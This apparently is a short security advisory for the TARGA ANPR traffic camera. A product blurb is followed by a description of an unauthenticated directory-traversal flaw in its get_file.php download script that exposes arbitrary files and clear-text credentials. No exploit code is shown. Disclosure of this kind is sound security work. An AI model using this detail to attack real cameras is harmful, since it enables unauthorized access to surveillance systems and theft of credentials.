TARGA is fully accurate in reading number plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes this camera suitable for all installation conditions. Its built-in OCR software works as an automatic and independent system without the need of a computer, thus giving autonomy to the device even in the event of an interruption in the connection between the camera and the operations centre. Desc: The ANPR camera suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the Download Archive in Storage page using get_file.php script is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks and aid the attacker to disclose clear-text credentials resulting in authentication bypass.
